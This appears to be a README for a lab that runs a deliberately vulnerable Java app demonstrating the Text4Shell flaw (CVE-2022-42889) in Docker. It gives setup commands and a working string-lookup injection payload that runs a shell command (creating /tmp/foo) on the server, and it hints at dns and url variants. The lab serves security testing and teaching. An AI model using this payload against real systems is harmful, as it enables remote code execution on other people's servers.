
Dockerized vulnerable Java application demonstrating CVE-2022-42889 (Text4Shell) remote code execution via Apache Commons Text string lookups, for security testing and education.
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
You can also try using dns or url prefixes.
Get the container id
docker container ls
docker exec -it <container_id> bash
foo created in the /tmp directory):ls /tmp/
docker container stop <container_id>